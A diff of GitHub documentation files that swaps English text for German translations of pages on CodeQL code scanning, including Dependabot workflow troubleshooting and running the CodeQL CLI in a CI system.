{% data variables.product.prodname_dependabot %} wird als nicht vertrauenswürdig betrachtet, wenn eine Workflowausführung ausgelöst wird, und der Workflow wird mit schreibgeschützten Bereichen ausgeführt. Das Hochladen von {% data variables.product.prodname_code_scanning %}-Ergebnissen für einen Branch erfordert in der Regel den `security_events: write`-Bereich. Das {% data variables.product.prodname_code_scanning %} ermöglicht jedoch immer das Hochladen von Ergebnissen, wenn das `pull_request`-Ereignis die Aktionsausführung auslöst. Aus diesem Grund wird für {% data variables.product.prodname_dependabot %}-Branches empfohlen, das `pull_request`-Ereignis anstelle des `push`-Ereignisses zu verwenden.
A simple approach is to run on pushes to the default branch and any other important long-running branches, as well as pull requests opened against this set of branches:
Ein einfacher Ansatz besteht in der Ausführung von Pushvorgängen in den Standardbranch und alle anderen wichtigen zeitintensiven Branches sowie in Pull Requests, die für diese Gruppe von Branches geöffnet werden:
```yaml
on:
@ -277,7 +276,7 @@ on:
- main
```
An alternative approach is to run on all pushes except for {% data variables.product.prodname_dependabot %} branches:
Ein alternativer Ansatz besteht darin, alle Pushvorgänge mit Ausnahme von {% data variables.product.prodname_dependabot %}-Branches auszuführen:
```yaml
on:
@ -287,28 +286,28 @@ on:
pull_request:
```
### Analysis still failing on the default branch
### Analyse schlägt im Standardbranch immer noch fehl
If the {% data variables.code-scanning.codeql_workflow %} still fails on a commit made on the default branch, you need to check:
Wenn der {% data variables.code-scanning.codeql_workflow %} für einen Commit, der für den Standardbranch ausgeführt wird, weiterhin ein Fehler auftritt, musst du Folgendes überprüfen:
- whether {% data variables.product.prodname_dependabot %} authored the commit
- whether the pull request that includes the commit has been merged using `@dependabot squash and merge`
- Wurde der Commit von {% data variables.product.prodname_dependabot %} erstellt?
- Wurde der Pull Request, der den Commit enthält, mithilfe von `@dependabot squash and merge` gemergt?
This type of merge commit is authored by {% data variables.product.prodname_dependabot %} and therefore, any workflows running on the commit will have read-only permissions. If you enabled {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} security updates or version updates on your repository, we recommend you avoid using the {% data variables.product.prodname_dependabot %} `@dependabot squash and merge` command. Instead, you can enable auto-merge for your repository. This means that pull requests will be automatically merged when all required reviews are met and status checks have passed. For more information about enabling auto-merge, see "[Automatically merging a pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)."
Diese Art von Mergecommit wird von {% data variables.product.prodname_dependabot %} erstellt, weshalb alle Workflows, die für den Commit ausgeführt werden, über schreibgeschützte Berechtigungen verfügen. Wenn du das {% data variables.product.prodname_code_scanning %} und {% data variables.product.prodname_dependabot %}-Sicherheitsupdates bzw. Versionsupdates in deinem Repository aktiviert hast, solltest du die Verwendung des {% data variables.product.prodname_dependabot %}-Befehls `@dependabot squash and merge` vermeiden. Stattdessen kannst du automatisches Mergen für dein Repository aktivieren. Dies bedeutet, dass Pull Requests automatisch gemergt werden, wenn alle erforderlichen Überprüfungen erfüllt sind und Statusprüfungen bestanden wurden. Weitere Informationen zum Aktivieren des automatischen Mergens findest du unter [Automatisches Mergen eines Pull Requests](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge).
{% endif %}
## Error: "is not a .ql file, .qls file, a directory, or a query pack specification"
## Fehler: „ist keine QL-Datei, QLS-Datei, kein Verzeichnis und keine Abfragepaketspezifikation“
You will see this error if CodeQL is unable to find the named query, query suite, or query pack at the location requested in the workflow. There are two common reasons for this error.
Dieser Fehler wird angezeigt, wenn CodeQL die benannte Abfrage, die benannte Abfragesammlung oder das benannte Abfragepaket nicht am im Workflow angeforderten Speicherort finden kann. Für diesen Fehler gibt es zwei häufige Ursachen.
- There is a typo in the workflow.
- A resource the workflow refers to by path was renamed, deleted, or moved to a new location.
- Der Workflow enthält einen Rechtschreibfehler.
- Eine Ressource, auf die der Workflow nach Pfad verweist, wurde umbenannt, gelöscht oder an einen neuen Speicherort verschoben.
After verifying the location of the resource, you can update the workflow to specify the correct location.
Nach der Überprüfung des Speicherorts der Ressource kannst du den Workflow aktualisieren und den richtigen Speicherort angeben.
## Warning: "git checkout HEAD^2 is no longer necessary"
## Warnung: „Git Checkout HEAD^2 is no longer necessary“ (Git-Check-Out HEAD^2 ist nicht mehr erforderlich)
If you're using an old {% data variables.product.prodname_codeql %} workflow you may get the following warning in the output from the "Initialize {% data variables.product.prodname_codeql %}" action:
Wenn du einen alten {% data variables.product.prodname_codeql %}-Workflow verwendest, erhältst du möglicherweise die folgende Warnung in der Ausgabe von der Aktion „Initialize {% data variables.product.prodname_codeql %}“ (CodeQL initialisieren):
```
Warning: 1 issue was detected with this workflow: git checkout HEAD^2 is no longer
@ -316,7 +315,7 @@ necessary. Please remove this step as Code Scanning recommends analyzing the mer
commit for best results.
```
Fix this by removing the following lines from the {% data variables.product.prodname_codeql %} workflow. These lines were included in the `steps` section of the `Analyze` job in initial versions of the {% data variables.product.prodname_codeql %} workflow.
Behebe dieses Problem, indem du die folgenden Zeilen aus dem {% data variables.product.prodname_codeql %}-Workflow entfernst. Diese Zeilen waren in den ersten Versionen des {% data variables.product.prodname_codeql %}-Workflows im Abschnitt `steps` des `Analyze`-Auftrags enthalten.
```yaml
with:
@ -330,7 +329,7 @@ Fix this by removing the following lines from the {% data variables.product.prod
if: {% raw %}${{ github.event_name == 'pull_request' }}{% endraw %}
```
The revised `steps` section of the workflow will look like this:
Der überarbeitete Abschnitt `steps` des Workflows sieht wie folgt aus:
```yaml
steps:
@ -344,4 +343,4 @@ The revised `steps` section of the workflow will look like this:
...
```
For more information about editing the {% data variables.product.prodname_codeql %} workflow file, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)."
Weitere Informationen zum Bearbeiten der {% data variables.product.prodname_codeql %}-Workflowdatei findest du unter [Konfigurieren des {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow).

Просмотреть файл

@ -1,7 +1,7 @@
---
title: About CodeQL code scanning in your CI system
title: Informationen zur CodeQL-Codeüberprüfung in deinem CI-System
shortTitle: Code scanning in your CI
intro: 'You can analyze your code with {% data variables.product.prodname_codeql %} in a third-party continuous integration system and upload the results to {% data variables.location.product_location %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.'
intro: 'Du kannst deinen Code mit {% data variables.product.prodname_codeql %} im Continuous-Integration-System eines Drittanbieters analysieren und die Ergebnisse auf {% data variables.location.product_location %} hochladen. Die sich daraus ergebenden {% data variables.product.prodname_code_scanning %}-Warnungen werden zusammen mit allen Warnungen angezeigt, die innerhalb von {% data variables.product.product_name %} generiert wurden.'
product: '{% data reusables.gated-features.code-scanning %}'
versions:
fpt: '*'
@ -20,15 +20,20 @@ topics:
redirect_from:
- /code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system
- /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system
ms.openlocfilehash: d650ba0768c9406295626321e908a6e6785a7666
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148106405'
---
<!--UI-LINK: When GitHub Enterprise Server 3.1+ doesn't have GitHub Actions set up, the Security > Code scanning alerts view links to this article.-->
{% data reusables.code-scanning.beta %}
{% data reusables.code-scanning.enterprise-enable-code-scanning %}
{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %}
## About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system
## Informationen zu {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} auf dem CI-System
{% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
{% data reusables.code-scanning.about-code-scanning %} Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_code_scanning %} mit {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql).
{% data reusables.code-scanning.codeql-context-for-actions-and-third-party-tools %}
@ -36,23 +41,21 @@ redirect_from:
{% data reusables.code-scanning.codeql-cli-context-for-third-party-tools %}
{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %}
{% data reusables.code-scanning.about-analysis-origins-link %}
{% endif %}
{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %} {% data reusables.code-scanning.about-analysis-origins-link %} {% endif %}
{% data reusables.code-scanning.upload-sarif-ghas %}
## About the {% data variables.product.prodname_codeql_cli %}
## Informationen zur {% data variables.product.prodname_codeql_cli %}
{% data reusables.code-scanning.what-is-codeql-cli %}
Use the {% data variables.product.prodname_codeql_cli %} to analyze:
Verwende die {% data variables.product.prodname_codeql_cli %}, um Folgendes zu analysieren:
- Dynamic languages, for example, JavaScript and Python.
- Compiled languages, for example, C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java.
- Codebases written in a mixture of languages.
- Dynamische Sprachen, z. B. JavaScript und Python.
- Kompilierte Sprachen wie C/C++, C#{% ifversion codeql-go-autobuild %}, Go{% endif %} und Java.
- Codebases, die in einer Mischung aus Sprachen geschrieben wurden.
For more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
Weitere Informationen findest du unter [Installieren der {% data variables.product.prodname_codeql_cli %} auf deinem CI-System](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system).
{% data reusables.code-scanning.licensing-note %}

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Configuring CodeQL CLI in your CI system
title: Konfigurieren der CodeQL-CLI in deinem CI-System
shortTitle: Configure CodeQL CLI
intro: 'You can configure your continuous integration system to run the {% data variables.product.prodname_codeql_cli %}, perform {% data variables.product.prodname_codeql %} analysis, and upload the results to {% data variables.product.product_name %} for display as {% data variables.product.prodname_code_scanning %} alerts.'
intro: 'Du kannst dein Continuous Integration-System so konfigurieren, dass die {% data variables.product.prodname_codeql_cli %} ausgeführt, {% data variables.product.prodname_codeql %}-Analysen durchgeführt und die Ergebnisse in {% data variables.product.product_name %} als {% data variables.product.prodname_code_scanning %}-Warnungen hochgeladen werden.'
product: '{% data reusables.gated-features.code-scanning %}'
miniTocMaxHeadingLevel: 3
redirect_from:
@ -21,40 +21,44 @@ topics:
- Integration
- CI
- SARIF
ms.openlocfilehash: 165aee9852cb6863dceddb41daf6d05176191f7a
ms.sourcegitcommit: dac72908e8660cb4a347fbf73beab61034eed8c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/25/2022
ms.locfileid: '148182298'
---
{% data reusables.code-scanning.enterprise-enable-code-scanning %}
{% ifversion ghes or ghae %}
{% note %}
{% ifversion ghes or ghae %} {% note %}
**Note:** This article describes features present in the version of {% data variables.product.prodname_codeql_cli %} available at the time of the release of {% data variables.product.product_name %}. If your enterprise uses a more recent version of {% data variables.product.prodname_codeql_cli %}, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system) instead.
**Hinweis:** In diesem Artikel werden Features beschrieben, die in der Version von {% data variables.product.prodname_codeql_cli %} zur Zeit der Veröffentlichung von {% data variables.product.product_name %} verfügbar sind. Wenn dein Unternehmen eine aktuellere Version von {% data variables.product.prodname_codeql_cli %} verwendet, lies stattdessen die [{% data variables.product.prodname_ghe_cloud %}-Dokumentation](/enterprise-cloud@latest/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system).
{% endnote %}
{% endif %}
{% endnote %} {% endif %}
## About generating code scanning results with {% data variables.product.prodname_codeql_cli %}
## Informationen zum Generieren von Codeüberprüfungsergebnissen mit {% data variables.product.prodname_codeql_cli %}
Once you've made the {% data variables.product.prodname_codeql_cli %} available to servers in your CI system, and ensured that they can authenticate with {% data variables.product.product_name %}, you're ready to generate data.
Nachdem du die {% data variables.product.prodname_codeql_cli %} für Server in deinem CI-System verfügbar gemacht und sichergestellt hast, dass sie sich mit {% data variables.product.product_name %} authentifizieren können, kannst du Daten generieren.
You use three different commands to generate results and upload them to {% data variables.product.product_name %}:
Du verwendest drei unterschiedliche Befehle, um Ergebnisse zu generieren und diese auf {% data variables.product.product_name %} hochzuladen:
<!--Option to analyze multiple languages with one call-->
1. `database create` to create a {% data variables.product.prodname_codeql %} database to represent the hierarchical structure of each supported programming language in the repository.
2. ` database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file.
3. `github upload-results` to upload the resulting SARIF files to {% data variables.product.product_name %} where the results are matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts.
1. `database create`: Mit diesem Befehl erstellst du eine {% data variables.product.prodname_codeql %}-Datenbank, die die hierarchische Struktur aller unterstützten Programmiersprachen im Repository darstellt.
2. ` database analyze`: Mit diesem Befehl führst du Abfragen aus, um jede {% data variables.product.prodname_codeql %}-Datenbank zu analysieren und die Ergebnisse in einer SARIF-Datei zusammenzufassen.
3. `github upload-results`: Mit diesem Befehl lädst du die SARIF-Dateien auf {% data variables.product.product_name %} hoch, wo die Ergebnisse mit einem Branch oder Pull Request abgeglichen und als Warnungen der Codeüberprüfung ( {% data variables.product.prodname_code_scanning %}) angezeigt werden.
You can display the command-line help for any command using the <nobr>`--help`</nobr> option.
Du kannst die Befehlszeilenhilfe über die Option <nobr>`--help`</nobr> für jeden Befehl anzeigen.
{% data reusables.code-scanning.upload-sarif-ghas %}
## Creating {% data variables.product.prodname_codeql %} databases to analyze
## Erstellen von {% data variables.product.prodname_codeql %}-Datenbanken zur Analyse
1. Check out the code that you want to analyze:
- For a branch, check out the head of the branch that you want to analyze.
- For a pull request, check out either the head commit of the pull request, or check out a {% data variables.product.prodname_dotcom %}-generated merge commit of the pull request.
2. Set up the environment for the codebase, making sure that any dependencies are available. For more information, see [Creating databases for non-compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-non-compiled-languages) and [Creating databases for compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-compiled-languages) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
3. Find the build command, if any, for the codebase. Typically this is available in a configuration file in the CI system.
4. Run `codeql database create` from the checkout root of your repository and build the codebase.
1. Checke den Code aus, den du analysieren möchtest:
- Für einen Branch: Checke den Kopfteil des Branchs aus, den du analysieren möchtest.
- Für einen Pull Request: Checke entweder den Headcommit des Pull Requests oder den von {% data variables.product.prodname_dotcom %} generierten Mergecommit aus.
2. Richte die Umgebung für die Codebasis ein, und stelle sicher, dass alle Abhängigkeiten verfügbar sind. Weitere Informationen findest du unter [Erstellen von Datenbanken für nicht kompilierte Sprachen](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-non-compiled-languages) und [Erstellen von Datenbanken für kompilierte Sprachen](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-compiled-languages) in der Dokumentation für die {% data variables.product.prodname_codeql_cli %}.
3. Suche ggf. den Buildbefehl für die Codebasis. Üblicherweise ist dieser in der Konfigurationsdatei des CI-Systems verfügbar.
4. Führe `codeql database create` im Check-Out-Stamm deines Repositorys aus, und erstelle die Codebasis.
```shell
# Single supported language - create one CodeQL database
@ -67,25 +71,25 @@ You can display the command-line help for any command using the <nobr>`--help`</
{% note %}
**Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_cli %} inside the container where your build task takes place.
**Hinweis:** Wenn du einen Containerbuild verwendest, musst du die {% data variables.product.prodname_codeql_cli %} innerhalb des Containers ausführen, in dem die Buildaufgabe ausgeführt wird.
{% endnote %}
| Option | Required | Usage |
| Option | Erforderlich | Verwendung |
|--------|:--------:|-----|
| `<database>` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name and location of a directory to create for the {% data variables.product.prodname_codeql %} database. The command will fail if you try to overwrite an existing directory. If you also specify `--db-cluster`, this is the parent directory and a subdirectory is created for each language analyzed.|
| <nobr>`--language`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the identifier for the language to create a database for, one of: `{% data reusables.code-scanning.codeql-languages-keywords %}` (use `javascript` to analyze TypeScript code {% ifversion codeql-kotlin-beta %} and `java` to analyze Kotlin code{% endif %}). When used with <nobr>`--db-cluster`</nobr>, the option accepts a comma-separated list, or can be specified more than once.
| <nobr>`--command`</nobr> | | Recommended. Use to specify the build command or script that invokes the build process for the codebase. Commands are run from the current folder or, where it is defined, from <nobr>`--source-root`</nobr>. Not needed for Python and JavaScript/TypeScript analysis. |
| <nobr>`--db-cluster`</nobr> | | Optional. Use in multi-language codebases to generate one database for each language specified by <nobr>`--language`</nobr>.
| <nobr>`--no-run-unnecessary-builds`</nobr> | | Recommended. Use to suppress the build command for languages where the {% data variables.product.prodname_codeql_cli %} does not need to monitor the build (for example, Python and JavaScript/TypeScript).
| <nobr>`--source-root`</nobr> | | Optional. Use if you run the CLI outside the checkout root of the repository. By default, the `database create` command assumes that the current directory is the root directory for the source files, use this option to specify a different location. |
| <nobr>`--codescanning-config`</nobr> | | Optional (Advanced). Use if you have a configuration file that specifies how to create the {% data variables.product.prodname_codeql %} databases and what queries to run in later steps. For more information, see "[Using a custom configuration file](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-a-custom-configuration-file)" and "[database create](https://codeql.github.com/docs/codeql-cli/manual/database-create/#cmdoption-codeql-database-create-codescanning-config)." |
| `<database>` | {% octicon "check-circle-fill" aria-label="Required" %} | Gib den Namen und den Speicherort eines Verzeichnisses an, das für die {% data variables.product.prodname_codeql %}-Datenbank erstellt werden soll. Der Befehl schlägt fehl, wenn du versuchst, ein vorhandenes Verzeichnis zu überschreiben. Wenn du außerdem `--db-cluster` angibst, ist dies das übergeordnete Verzeichnis, und für jede analysierte Sprache wird ein Unterverzeichnis erstellt.|
| <nobr>`--language`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Gib den Bezeichner für die Sprache an, für die eine Datenbank erstellt werden soll: `{% data reusables.code-scanning.codeql-languages-keywords %}`. (Verwende `javascript` zum Analysieren von TypeScript-Code {% ifversion codeql-kotlin-beta %} und `java` zum Analysieren von Kotlin-Code{% endif %}.) Wenn dieser mit <nobr>`--db-cluster`</nobr> verwendet wird, akzeptiert die Option eine durch Kommas getrennte Liste oder kann mehrfach angegeben werden.
| <nobr>`--command`</nobr> | | Empfohlen. Verwende diese Option, um den Buildbefehl oder das Skript anzugeben, der bzw. das den Buildprozess für die Codebasis aufruft. Befehle werden aus dem aktuellen Ordner oder (falls definiert) aus <nobr>`--source-root`</nobr> ausgeführt. Diese Option ist für Python- und JavaScript- bzw. TypeScript-Analysen nicht erforderlich. |
| <nobr>`--db-cluster`</nobr> | | Optional. Verwende diese Option für Codebasen mit mehreren Sprachen, um eine Datenbank für jede durch <nobr>`--language`</nobr> angegebene Sprache zu generieren.
| <nobr>`--no-run-unnecessary-builds`</nobr> | | Empfohlen. Verwende diese Option, um den Buildbefehl für Sprachen zu unterdrücken, in denen die {% data variables.product.prodname_codeql_cli %} den Build nicht überwachen muss (z. B. Python und JavaScript bzw. TypeScript).
| <nobr>`--source-root`</nobr> | | Optional. Verwende diese Option, wenn du die CLI außerhalb des Check-Out-Stamms des Repositorys ausführst. Beim Befehl zum Erstellen von Datenbanken (`database create`) wird standardmäßig davon ausgegangen, dass das aktuelle Verzeichnis das Stammverzeichnis der Quelldateien ist. Verwende diese Option, um einen anderen Speicherort anzugeben. |
| <nobr>`--codescanning-config`</nobr> | | Optional (Erweitert). Verwende diese Option, wenn du über eine Konfigurationsdatei verfügst, die angibt, wie die {% data variables.product.prodname_codeql %}-Datenbanken erstellt werden und welche Abfragen in späteren Schritten ausgeführt werden sollen. Weitere Informationen findest du unter [Verwenden einer benutzerdefinierten Konfigurationsdatei](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-a-custom-configuration-file) und unter [database create](https://codeql.github.com/docs/codeql-cli/manual/database-create/#cmdoption-codeql-database-create-codescanning-config). |
For more information, see [Creating {% data variables.product.prodname_codeql %} databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
Weitere Informationen findest du unter [Erstellen von {% data variables.product.prodname_codeql %}-Datenbanken](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) in der Dokumentation für die {% data variables.product.prodname_codeql_cli %}.
### Single language example
### Beispiel für eine einzelne Sprache
This example creates a {% data variables.product.prodname_codeql %} database for the repository checked out at `/checkouts/example-repo`. It uses the JavaScript extractor to create a hierarchical representation of the JavaScript and TypeScript code in the repository. The resulting database is stored in `/codeql-dbs/example-repo`.
In diesem Beispiel wird eine {% data variables.product.prodname_codeql %}-Datenbank für das Repository erstellt, das unter `/checkouts/example-repo` ausgecheckt ist. Dabei wird der JavaScript-Extraktor verwendet, um eine hierarchische Darstellung des JavaScript- und TypeScript-Codes im Repository zu erstellen. Die resultierende Datenbank wird unter `/codeql-dbs/example-repo` gespeichert.
```
$ codeql database create /codeql-dbs/example-repo --language=javascript \
@ -101,16 +105,16 @@ $ codeql database create /codeql-dbs/example-repo --language=javascript \
> Successfully created database at /codeql-dbs/example-repo.
```
### Multiple language example
### Beispiel für mehrere Sprachen
This example creates two {% data variables.product.prodname_codeql %} databases for the repository checked out at `/checkouts/example-repo-multi`. It uses:
In diesem Beispiel werden zwei {% data variables.product.prodname_codeql %}-Datenbanken für das Repository erstellt, das unter `/checkouts/example-repo-multi` ausgecheckt ist. Er verwendet Folgendes:
- `--db-cluster` to request analysis of more than one language.
- `--language` to specify which languages to create databases for.
- `--command` to tell the tool the build command for the codebase, here `make`.
- `--no-run-unnecessary-builds` to tell the tool to skip the build command for languages where it is not needed (like Python).
- `--db-cluster`: Wird verwendet, um die Analyse mehrerer Sprachen anzufordern
- `--language`: Wird verwendet, um anzugeben, für welche Sprachen Datenbanken erstellt werden sollen
- `--command`: Wird verwendet, um dem Tool den Buildbefehl für die Codebasis weiterzugeben, hier `make`.
- `--no-run-unnecessary-builds`: Wird verwendet, um das Tool anzuweisen, den Buildbefehl für Sprachen zu überspringen, in denen er nicht benötigt wird (z. B. für Python)
The resulting databases are stored in `python` and `cpp` subdirectories of `/codeql-dbs/example-repo-multi`.
Die resultierenden Datenbanken werden in den Unterverzeichnissen `python` und `cpp` von `/codeql-dbs/example-repo-multi` gespeichert.
```
$ codeql database create /codeql-dbs/example-repo-multi \
@ -132,10 +136,10 @@ Successfully created databases at /codeql-dbs/example-repo-multi.
$
```
## Analyzing a {% data variables.product.prodname_codeql %} database
## Analysieren einer {% data variables.product.prodname_codeql %}-Datenbank
1. Create a {% data variables.product.prodname_codeql %} database (see above).
2. Run `codeql database analyze` on the database and specify which {% ifversion codeql-packs %}packs and/or {% endif %}queries to use.
1. Erstelle eine {% data variables.product.prodname_codeql %}-Datenbank (siehe oben).
2. Führe `codeql database analyze` in der Datenbank aus, und gib an, welche {% ifversion codeql-packs %}-Pakete und/oder {% endif %}Abfragen verwendet werden sollen.
```shell
codeql database analyze &lt;database&gt; --format=&lt;format&gt; \
--output=&lt;output&gt; {% ifversion codeql-packs %}--download &lt;packs,queries&gt;{% else %}&lt;queries&gt;{% endif %}
@ -143,7 +147,7 @@ $
{% note %}
**Note:** If you analyze more than one {% data variables.product.prodname_codeql %} database for a single commit, you must specify a SARIF category for each set of results generated by this command. When you upload the results to {% data variables.product.product_name %}, {% data variables.product.prodname_code_scanning %} uses this category to store the results for each language separately. If you forget to do this, each upload overwrites the previous results.
**Hinweis:** Wenn du mehrere {% data variables.product.prodname_codeql %}-Datenbanken für einen einzelnen Commit analysierst, musst du für alle von diesem Befehl generierten Ergebnisse eine SARIF-Kategorie angeben. Wenn du die Ergebnisse auf {% data variables.product.product_name %} hochlädst, wird diese Kategorie bei der {% data variables.product.prodname_code_scanning %} verwendet, um die Ergebnisse separat für jede Sprache zu speichern. Wenn du dies vergisst, überschreibt jeder Upload die alten Ergebnisse.
```shell
codeql database analyze &lt;database&gt; --format=&lt;format&gt; \
@ -152,24 +156,24 @@ codeql database analyze &lt;database&gt; --format=&lt;format&gt; \
```
{% endnote %}
| Option | Required | Usage |
| Option | Erforderlich | Verwendung |
|--------|:--------:|-----|
| `<database>` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the path for the directory that contains the {% data variables.product.prodname_codeql %} database to analyze. |
| `<packs,queries>` | | Specify {% data variables.product.prodname_codeql %} packs or queries to run. To run the standard queries used for {% data variables.product.prodname_code_scanning %}, omit this parameter. To see the other query suites included in the {% data variables.product.prodname_codeql_cli %} bundle, look in `/<extraction-root>/qlpacks/codeql/<language>-queries/codeql-suites`. For information about creating your own query suite, see [Creating CodeQL query suites](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
| <nobr>`--format`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the format for the results file generated by the command. For upload to {% data variables.product.company_short %} this should be: {% ifversion fpt or ghae or ghec %}`sarif-latest`{% else %}`sarifv2.1.0`{% endif %}. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)."
| <nobr>`--output`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify where to save the SARIF results file.
| <nobr>`--sarif-category`<nobr> | {% octicon "question" aria-label="Required with multiple results sets" %} | Optional for single database analysis. Required to define the language when you analyze multiple databases for a single commit in a repository. Specify a category to include in the SARIF results file for this analysis. A category is used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code.|{% ifversion fpt or ghes > 3.3 or ghae or ghec %}
| <nobr>`--sarif-add-query-help`</nobr> | | Optional. Use if you want to include any available markdown-rendered query help for custom queries used in your analysis. Any query help for custom queries included in the SARIF output will be displayed in the code scanning UI if the relevant query generates an alert. For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/#including-query-help-for-custom-codeql-queries-in-sarif-files) in the documentation for the {% data variables.product.prodname_codeql_cli %}.{% endif %}{% ifversion codeql-packs %}
| `<packs>` | | Optional. Use if you want to include CodeQL query packs in your analysis. For more information, see "[Downloading and using {% data variables.product.prodname_codeql %} packs](#downloading-and-using-codeql-query-packs)."
| <nobr>`--download`</nobr> | | Optional. Use if some of your CodeQL query packs are not yet on disk and need to be downloaded before running queries.{% endif %}
| <nobr>`--threads`</nobr> | | Optional. Use if you want to use more than one thread to run queries. The default value is `1`. You can specify more threads to speed up query execution. To set the number of threads to the number of logical processors, specify `0`.
| <nobr>`--verbose`</nobr> | | Optional. Use to get more detailed information about the analysis process and diagnostic data from the database creation process.
| `<database>` | {% octicon "check-circle-fill" aria-label="Required" %} | Gib den Pfad des Verzeichnisses an, das die zu analysierende {% data variables.product.prodname_codeql %}-Datenbank enthält. |
| `<packs,queries>` | | Gib {% data variables.product.prodname_codeql %}-Pakete oder -Abfragen an, die ausgeführt werden sollen. Lass diesen Parameter aus, um die Standardabfragen zur {% data variables.product.prodname_code_scanning %} auszuführen. Die anderen Abfragesammlungen, die im {% data variables.product.prodname_codeql_cli %}-Paket enthalten sind, findest du unter `/<extraction-root>/qlpacks/codeql/<language>-queries/codeql-suites`. Weitere Informationen zum Erstellen einer eigenen Abfragesammlung findest du unter [Erstellen von CodeQL-Abfragesammlungen](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/) in der Dokumentation für die {% data variables.product.prodname_codeql_cli %}.
| <nobr>`--format`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Gib das Format der vom Befehl generierten Ergebnisdatei an. Für den Upload in {% data variables.product.company_short %} sollte dies sein: {% ifversion fpt or ghae or ghec %}`sarif-latest`{% else %}`sarifv2.1.0`{% endif %}. Weitere Informationen findest du unter [SARIF-Unterstützung für {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning).
| <nobr>`--output`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Gib an, wo die SARIF-Ergebnisdatei gespeichert werden soll.
| <nobr>`--sarif-category`<nobr> | {% octicon "question" aria-label="Required with multiple results sets" %} | Diese Option kann optional bei der Analyse einer einzelnen Datenbank verwendet werden. Diese Option ist erforderlich, um die Sprache zu definieren, wenn du mehrere Datenbanken für einen einzelnen Commit in einem Repository analysierst. Gib eine Kategorie an, die in die SARIF-Ergebnisdatei für diese Analyse aufgenommen werden soll. Eine Kategorie wird verwendet, um mehrere Analysen für dasselbe Tool und denselben Commit zu unterscheiden, die jedoch für verschiedene Sprachen oder Teile des Codes ausgeführt werden.|{% ifversion fpt or ghes > 3.3 or ghae or ghec %}
